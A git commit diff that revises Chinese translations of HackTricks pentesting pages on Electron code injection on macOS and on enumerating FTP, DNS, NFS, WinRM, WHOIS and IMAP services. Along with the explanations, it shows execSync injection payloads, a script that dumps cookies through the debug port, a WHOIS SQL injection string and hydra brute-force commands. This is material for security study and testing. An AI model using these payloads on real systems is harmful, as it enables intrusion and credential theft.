mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
a36f395cc8
commit
81fecd9aa1
@ -14,7 +14,7 @@
|
||||
- **`RunAsNode`**:如果禁用,它会阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 来注入代码。
|
||||
- **`EnableNodeCliInspectArguments`**:如果禁用,参数如 `--inspect`、`--inspect-brk` 将不被尊重。避免通过这种方式注入代码。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,加载的 **`asar`** **文件** 将由 macOS **验证**。以此方式 **防止** 通过修改该文件的内容进行 **代码注入**。
|
||||
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar,而不是按以下顺序加载:**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此确保当与 **`embeddedAsarIntegrityValidation`** 保险丝 **结合** 使用时,**不可能** **加载未验证的代码**。
|
||||
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar,而不是按以下顺序加载:**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此确保当与 **`embeddedAsarIntegrityValidation`** 保险丝 **结合** 时,**不可能** **加载未验证的代码**。
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
|
||||
|
||||
另一个有趣的保险丝不会阻止代码注入的是:
|
||||
@ -46,23 +46,23 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串后,您可以在 ASCII 中看到数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30` 是 `0`,`0x31` 是 `1`)以 **修改保险丝值**。
|
||||
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串之后,您可以在 ASCII 中看到一个数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30` 是 `0`,`0x31` 是 `1`)以 **修改保险丝值**。
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
请注意,如果您尝试 **覆盖** 应用程序中已修改字节的 **`Electron Framework`** 二进制文件,则该应用程序将无法运行。
|
||||
请注意,如果您尝试 **覆盖** 应用程序内部的 **`Electron Framework`** 二进制文件并修改这些字节,应用程序将无法运行。
|
||||
|
||||
## RCE 向 Electron 应用程序添加代码
|
||||
|
||||
可能有 **外部 JS/HTML 文件** 被 Electron 应用程序使用,因此攻击者可以在这些文件中注入代码,这些文件的签名不会被检查,并在应用程序的上下文中执行任意代码。
|
||||
|
||||
> [!CAUTION]
|
||||
> 但是,目前有两个限制:
|
||||
> 但是,目前有 2 个限制:
|
||||
>
|
||||
> - 修改应用程序需要 **`kTCCServiceSystemPolicyAppBundles`** 权限,因此默认情况下这不再可能。
|
||||
> - 编译后的 **`asap`** 文件通常具有 **`embeddedAsarIntegrityValidation`** `和` **`onlyLoadAppFromAsar`** `启用`
|
||||
> - 编译后的 **`asap`** 文件通常具有 **`embeddedAsarIntegrityValidation`** 和 **`onlyLoadAppFromAsar`** 启用
|
||||
>
|
||||
> 使得此攻击路径更加复杂(或不可能)。
|
||||
> 这使得攻击路径更加复杂(或不可能)。
|
||||
|
||||
请注意,可以通过将应用程序复制到另一个目录(如 **`/tmp`**),将文件夹 **`app.app/Contents`** 重命名为 **`app.app/NotCon`**,**修改** **asar** 文件以包含您的 **恶意** 代码,然后将其重命名回 **`app.app/Contents`** 并执行它,从而绕过 **`kTCCServiceSystemPolicyAppBundles`** 的要求。
|
||||
|
||||
@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
|
||||
### 从应用程序 Plist 注入
|
||||
|
||||
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用这个环境变量以保持持久性:
|
||||
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用此环境变量以保持持久性:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -127,7 +127,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||
>
|
||||
> 如果您不设置 **`ELECTRON_RUN_AS_NODE`**,您将会发现 **错误**:`Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
### 从 App Plist 注入
|
||||
### 从应用程序 Plist 注入
|
||||
|
||||
您可以在 plist 中滥用此环境变量以保持持久性,添加以下键:
|
||||
```xml
|
||||
@ -147,7 +147,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||
```
|
||||
## RCE with inspecting
|
||||
|
||||
根据[**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`),并且你将能够 **在其上注入代码**,甚至启动新进程。\
|
||||
根据[**这个**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)的说法,如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`),并且你将能够 **在其上注入代码**,甚至启动新进程。\
|
||||
例如:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
@ -159,7 +159,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
>
|
||||
> 然而,您仍然可以使用 **electron 参数 `--remote-debugging-port=9229`**,但之前的有效载荷将无法执行其他进程。
|
||||
|
||||
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如 **历史记录**(使用 GET 命令)或浏览器的 **cookies**(因为它们在浏览器内部是 **解密** 的,并且有一个 **json 端点** 可以提供它们)。
|
||||
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如 **历史记录**(使用 GET 命令)或浏览器的 **cookies**(因为它们在浏览器内部 **解密**,并且有一个 **json 端点** 可以提供它们)。
|
||||
|
||||
您可以在 [**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) 和 [**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) 学习如何做到这一点,并使用自动工具 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 或简单的脚本,如:
|
||||
```python
|
||||
@ -169,7 +169,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
在[**这篇博客**](https://hackerone.com/reports/1274695)中,这种调试被滥用以使无头 Chrome **在任意位置下载任意文件**。
|
||||
在[**这篇博客**](https://hackerone.com/reports/1274695)中,这种调试被滥用,使得无头 Chrome **在任意位置下载任意文件**。
|
||||
|
||||
### 从应用程序 Plist 注入
|
||||
|
||||
@ -190,7 +190,7 @@ print(ws.recv()
|
||||
## TCC Bypass abusing Older Versions
|
||||
|
||||
> [!TIP]
|
||||
> macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果您 **无法在 Electron 应用程序中注入代码**,可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非信任缓存阻止它)。
|
||||
> macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果您 **无法在 Electron 应用程序中注入代码**,可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非 Trust Cache 阻止它)。
|
||||
|
||||
## Run non JS Code
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Ident Protocol** 是通过 **Internet** 将 **TCP 连接** 与特定用户关联的协议。最初设计用于 **网络管理** 和 **安全**,它通过允许服务器在端口 113 上查询客户端以请求有关特定 TCP 连接用户的信息来操作。
|
||||
**Ident协议**用于通过**互联网**将**TCP连接**与特定用户关联。最初设计用于帮助**网络管理**和**安全**,它通过允许服务器在113端口查询客户端以请求有关特定TCP连接用户的信息来操作。
|
||||
|
||||
然而,由于现代隐私问题和潜在的滥用,其使用已减少,因为它可能无意中向未经授权的方泄露用户信息。建议采取增强的安全措施,例如加密连接和严格的访问控制,以减轻这些风险。
|
||||
|
||||
@ -48,7 +48,7 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
### Ident-user-enum
|
||||
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) 是一个简单的 PERL 脚本,用于查询 ident 服务 (113/TCP),以确定目标系统上每个 TCP 端口上监听进程的所有者。收集到的用户名列表可以用于对其他网络服务进行密码猜测攻击。可以通过 `apt install ident-user-enum` 安装。
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) 是一个简单的 PERL 脚本,用于查询 ident 服务 (113/TCP),以确定目标系统上每个 TCP 端口上监听的进程的所有者。收集到的用户名列表可以用于对其他网络服务进行密码猜测攻击。可以通过 `apt install ident-user-enum` 安装。
|
||||
```
|
||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## NetBios Name Service
|
||||
|
||||
**NetBIOS Name Service** 在其中扮演着至关重要的角色,涉及各种服务,如 **名称注册和解析**、**数据报分发** 和 **会话服务**,为每项服务利用特定端口。
|
||||
**NetBIOS Name Service** 在其中扮演着至关重要的角色,涉及各种服务,如 **名称注册和解析**、**数据报分发**和 **会话服务**,为每项服务利用特定端口。
|
||||
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
- 用于名称注册和解析的名称服务(端口:137/udp 和 137/tcp)。
|
||||
- 名称注册和解析的名称服务(端口:137/udp 和 137/tcp)。
|
||||
- 用于无连接通信的数据报分发服务(端口:138/udp)。
|
||||
- 用于面向连接通信的会话服务(端口:139/tcp)。
|
||||
|
||||
### Name Service
|
||||
|
||||
为了使设备能够参与 NetBIOS 网络,它必须具有唯一名称。这是通过 **广播过程** 实现的,其中发送一个 "名称查询" 数据包。如果没有收到异议,则该名称被视为可用。或者,可以直接查询 **名称服务服务器** 以检查名称的可用性或将名称解析为 IP 地址。工具如 `nmblookup`、`nbtscan` 和 `nmap` 被用于枚举 NetBIOS 服务,揭示服务器名称和 MAC 地址。
|
||||
为了使设备能够参与 NetBIOS 网络,它必须具有唯一的名称。这是通过 **广播过程** 实现的,其中发送一个 "名称查询" 数据包。如果没有收到异议,则该名称被视为可用。或者,可以直接查询 **名称服务服务器** 以检查名称的可用性或将名称解析为 IP 地址。工具如 `nmblookup`、`nbtscan` 和 `nmap` 被用于枚举 NetBIOS 服务,揭示服务器名称和 MAC 地址。
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
枚举 NetBIOS 服务时,您可以获取服务器正在使用的名称和服务器的 MAC 地址。
|
||||
枚举 NetBIOS 服务时,您可以获取服务器使用的名称和服务器的 MAC 地址。
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Oracle 数据库 (Oracle DB) 是甲骨文公司 (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database)) 的关系数据库管理系统 (RDBMS)。
|
||||
Oracle 数据库 (Oracle DB) 是来自 Oracle Corporation 的关系数据库管理系统 (RDBMS) (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database))。
|
||||
|
||||
在枚举 Oracle 时,第一步是与通常位于默认端口 (1521/TCP,-您也可能在 1522–1529 上获得次级监听器-) 的 TNS-Listener 进行通信。
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Oracle 数据库 (Oracle DB) 是来自 Oracle Corporation 的关系数据库管理系统 (RDBMS) (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database))。
|
||||
Oracle 数据库 (Oracle DB) 是甲骨文公司 (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database)) 的关系数据库管理系统 (RDBMS)。
|
||||
|
||||
在枚举 Oracle 时,第一步是与通常位于默认端口 (1521/TCP,-您也可能在 1522–1529 上获得次级监听器-) 的 TNS-Listener 进行通信。
|
||||
```
|
||||
|
@ -18,11 +18,11 @@ PORT STATE SERVICE
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
注意,有时在请求WHOIS服务的信息时,所使用的数据库会出现在响应中:
|
||||
注意,有时在向WHOIS服务请求某些信息时,所使用的数据库会出现在响应中:
|
||||
|
||||
.png>)
|
||||
|
||||
此外,WHOIS服务始终需要使用一个**数据库**来存储和提取信息。因此,当**查询**用户提供的一些信息时,可能会存在**SQL注入**的风险。例如,执行:`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`,你可能能够**提取所有**存储在数据库中的**信息**。
|
||||
此外,WHOIS服务始终需要使用**数据库**来存储和提取信息。因此,当**查询**用户提供的某些信息时,可能会存在**SQL注入**的风险。例如,执行:`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`,您可能能够**提取所有**存储在数据库中的**信息**。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -26,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
这种方法允许远程设置 WinRM,从而增强了远程管理 Windows 机器的灵活性。
|
||||
此方法允许远程设置 WinRM,从而增强了远程管理 Windows 机器的灵活性。
|
||||
|
||||
### 测试是否已配置
|
||||
|
||||
为了验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令,您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
|
||||
要验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令,您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
|
||||
|
||||
- 对于**已**正确配置的目标,输出将类似于以下内容:
|
||||
```bash
|
||||
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
|
||||
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
||||
|
||||
尝试在客户端(信息来自 [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
尝试在客户端上(信息来自 [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
@ -261,6 +261,4 @@ Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -18,7 +18,7 @@
|
||||
|
||||
- **NFSv2**: 该版本因其与各种系统的广泛兼容性而受到认可,标志着其在最初操作主要通过UDP进行的重要性。作为系列中**最古老**的版本,它为未来的发展奠定了基础。
|
||||
|
||||
- **NFSv3**: NFSv3引入了一系列增强功能,扩展了其前身,支持可变文件大小并提供改进的错误报告机制。尽管有了这些进步,但它在与NFSv2客户端的完全向后兼容性方面仍然存在局限性。
|
||||
- **NFSv3**: NFSv3引入了一系列增强功能,扩展了其前身,支持可变文件大小并提供改进的错误报告机制。尽管有了这些进步,但它在与NFSv2客户端的完全向后兼容性方面仍然存在局限。
|
||||
|
||||
- **NFSv4**: NFS系列中的一个里程碑版本,NFSv4带来了旨在现代化网络文件共享的一系列功能。显著的改进包括集成Kerberos以实现**高安全性**、能够穿越防火墙并在不需要端口映射器的情况下通过互联网操作、支持访问控制列表(ACL)以及引入基于状态的操作。其性能增强和状态协议的采用使NFSv4成为网络文件共享技术中的一个重要进展。
|
||||
|
||||
@ -32,11 +32,11 @@ nfs-ls #List NFS exports and check permissions
|
||||
nfs-showmount #Like showmount -e
|
||||
nfs-statfs #Disk statistics and info from NFS share
|
||||
```
|
||||
### 有用的metasploit模块
|
||||
### 有用的 metasploit 模块
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### 挂载
|
||||
### Mounting
|
||||
|
||||
要知道**哪个文件夹**可以被服务器**挂载**,你可以使用以下命令:
|
||||
```bash
|
||||
@ -70,15 +70,15 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
### 危险设置
|
||||
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。授予如此广泛的访问权限时,必须考虑其影响。
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。考虑授予如此广泛访问的影响是至关重要的。
|
||||
|
||||
- **使用不安全端口 (`insecure`):** 启用后,系统可以使用1024以上的端口。此范围以上的端口安全性可能较低,增加风险。
|
||||
- **使用不安全端口 (`insecure`):** 启用后,系统可以使用1024以上的端口。此范围以上端口的安全性可能较低,增加风险。
|
||||
|
||||
- **嵌套文件系统的可见性 (`nohide`):** 此配置使目录可见,即使在导出目录下挂载了另一个文件系统。每个目录需要自己的导出条目以便于管理。
|
||||
|
||||
- **根文件所有权 (`no_root_squash`):** 使用此设置,根用户创建的文件保持其原始UID/GID为0,忽视最小权限原则,可能授予过多权限。
|
||||
|
||||
- **不压缩所有用户 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。
|
||||
- **所有用户不压缩 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。
|
||||
|
||||
## 利用NFS错误配置进行权限提升
|
||||
|
||||
|
@ -32,21 +32,21 @@ DNS 中没有横幅,但您可以抓取 `version.bind. CHAOS TXT` 的魔法查
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 也可以对服务器进行指纹识别。
|
||||
此外,工具 [`fpdns`](https://github.com/kirei/fpdns) 也可以指纹识别服务器。
|
||||
|
||||
还可以使用 **nmap** 脚本抓取横幅:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
### **Any record**
|
||||
### **任何记录**
|
||||
|
||||
记录 **ANY** 将请求 DNS 服务器 **返回** 所有可用的 **条目**,这些 **条目** 是 **它愿意披露** 的。
|
||||
记录 **ANY** 将请求 DNS 服务器 **返回** 所有可用的 **条目**,这些条目是 **它愿意披露** 的。
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
### **区域传输**
|
||||
|
||||
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`)。
|
||||
此过程缩写为 `Asynchronous Full Transfer Zone` (`AXFR`).
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
@ -78,7 +78,7 @@ nslookup
|
||||
> 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...
|
||||
> <IP_MACHINE> #Reverse lookup of a machine, maybe...
|
||||
```
|
||||
### 有用的 metasploit 模块
|
||||
### 有用的metasploit模块
|
||||
```bash
|
||||
auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
```
|
||||
@ -150,9 +150,9 @@ dig google.com A @<IP>
|
||||
.png>)
|
||||
|
||||
|
||||
### 发送到不存在的账户
|
||||
### 向不存在的账户发送邮件
|
||||
|
||||
**向不存在的地址发送电子邮件**,使用受害者的域可能会触发受害者发送一条未送达通知(NDN)消息,其**头部**可能包含有趣的信息,例如**内部服务器的名称和IP地址**。
|
||||
**向不存在的地址发送电子邮件**,使用受害者的域名可能会触发受害者发送一条未送达通知(NDN)消息,其**头部**可能包含有趣的信息,例如**内部服务器的名称和IP地址**。
|
||||
|
||||
## 后期利用
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
## 基本信息
|
||||
|
||||
**文件传输协议 (FTP)** 是在计算机网络中服务器与客户端之间进行文件传输的标准协议。\
|
||||
它是一个**明文**协议,使用**换行符 `0x0d 0x0a`**,因此有时你需要**使用 `telnet`** 或 **`nc -C`** 进行连接。
|
||||
它是一个**明文**协议,使用**换行符 `0x0d 0x0a`**,因此有时需要**使用 `telnet` 连接**或**`nc -C`**。
|
||||
|
||||
**默认端口:** 21
|
||||
```
|
||||
@ -101,7 +101,7 @@ ftp <IP>
|
||||
```
|
||||
### [暴力破解](../../generic-hacking/brute-force.md#ftp)
|
||||
|
||||
在这里你可以找到一个包含默认ftp凭据的不错列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
在这里你可以找到一个包含默认ftp凭据的好列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### 自动化
|
||||
|
||||
@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 <ip>
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
注意,如果一个 **web application** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**。其中一个可能的任意操作是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如 http)进行通信。
|
||||
注意,如果一个 **web application** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**。其中一个可能的任意操作是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如 http)进行通信。
|
||||
|
||||
## 从 FTP 下载所有文件
|
||||
```bash
|
||||
@ -142,27 +142,27 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`REST 6`** 这将指示服务器下次使用 `RETR` 发送时应从第 6 字节开始。
|
||||
- **`TYPE i`** 设置传输为二进制
|
||||
- **`PASV`** 这将打开一个被动连接,并指示用户可以连接的位置
|
||||
- **`PUT /tmp/file.txt`** 将指定的文件上传到 FTP
|
||||
- **`PUT /tmp/file.txt`** 将指定文件上传到 FTP
|
||||
|
||||
.png>)
|
||||
|
||||
## FTPBounce 攻击
|
||||
|
||||
一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器您希望在某个端口连接到其他 FTP 服务器。然后,您可以利用此功能扫描通过 FTP 服务器哪些主机端口是开放的。
|
||||
一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器你想要连接到其他 FTP 服务器的某个端口。然后,你可以利用此功能扫描主机的哪些端口通过 FTP 服务器是开放的。
|
||||
|
||||
[**在这里了解如何滥用 FTP 服务器扫描端口。**](ftp-bounce-attack.md)
|
||||
|
||||
您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**(_也许是为了添加一个新的管理员用户?_)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\
|
||||
你还可以滥用这种行为使 FTP 服务器与其他协议交互。你可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**(_也许是为了添加一个新的管理员用户?_)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\
|
||||
理论很简单:
|
||||
|
||||
1. **将请求(放在文本文件中)上传到易受攻击的服务器。** 请记住,如果您想与另一个 HTTP 或 FTP 服务器通信,您需要用 `0x0d 0x0a` 更改行
|
||||
2. **使用 `REST X` 避免发送您不想发送的字符**(也许为了在文件中上传请求,您需要在开头放一些图像头)
|
||||
1. **将请求(放在文本文件中)上传到易受攻击的服务器。** 记住,如果你想与另一个 HTTP 或 FTP 服务器通信,你需要用 `0x0d 0x0a` 更改行
|
||||
2. **使用 `REST X` 避免发送你不想发送的字符**(也许为了在文件中上传请求,你需要在开头放一些图像头)
|
||||
3. **使用 `PORT` 连接到任意服务器和服务**
|
||||
4. **使用 `RETR` 将保存的请求发送到服务器。**
|
||||
|
||||
这很可能会抛出一个错误,如 _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**。避免这种情况的建议包括:
|
||||
|
||||
- 如果您正在发送 HTTP 请求,**将相同的请求一个接一个地放置**,直到 **\~0.5MB** 至少。像这样:
|
||||
- 如果你正在发送 HTTP 请求,**将相同的请求一个接一个地放置**,直到 **\~0.5MB** 至少。像这样:
|
||||
|
||||
{{#file}}
|
||||
posts.txt
|
||||
@ -175,7 +175,7 @@ posts.txt
|
||||
|
||||
## Filezilla 服务器漏洞
|
||||
|
||||
**FileZilla** 通常 **绑定** 到 **本地** 的 **管理服务** 用于 **FileZilla-Server**(端口 14147)。如果您可以从 **您的机器** 创建一个 **隧道** 来访问此端口,您可以 **使用空密码连接** 到 **它** 并 **创建** 一个 **新的用户** 用于 FTP 服务。
|
||||
**FileZilla** 通常 **绑定** 到 **本地** 的 **管理服务** 用于 **FileZilla-Server**(端口 14147)。如果你可以从 **你的机器** 创建一个 **隧道** 来访问此端口,你可以 **使用空密码连接** 到 **它** 并 **创建** 一个 **新的用户** 用于 FTP 服务。
|
||||
|
||||
## 配置文件
|
||||
```
|
||||
@ -186,7 +186,7 @@ vsftpd.conf
|
||||
```
|
||||
### Post-Exploitation
|
||||
|
||||
vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里,你可以找到一些危险的设置:
|
||||
vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,你可以找到一些危险的设置:
|
||||
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
|
@ -107,7 +107,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
一个很好的搜索术语概述可以在 [这里](https://www.atmail.com/blog/imap-commands/) 找到。
|
||||
一个关于可能的搜索词的不错概述位于 [here](https://www.atmail.com/blog/imap-commands/)。
|
||||
|
||||
3. 下载一条消息(imap 命令 `SELECT Drafts` 然后 `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
@ -115,16 +115,16 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
邮件索引将与搜索操作返回的索引相同。
|
||||
|
||||
也可以使用 `UID`(唯一标识符)来访问消息,但这不太方便,因为搜索命令需要手动格式化。例如:
|
||||
也可以使用 `UID`(唯一标识符)来访问消息,但这不太方便,因为搜索命令需要手动格式化。例如。
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
也可以只下载消息的部分内容,例如前5条消息的主题和发件人(需要使用`-v`才能查看主题和发件人):
|
||||
也可以仅下载消息的部分内容,例如前5条消息的主题和发件人(需要使用 `-v` 才能查看主题和发件人):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
虽然,写一个简单的 for 循环可能更简洁:
|
||||
虽然,写一个小的 for 循环可能更简洁:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
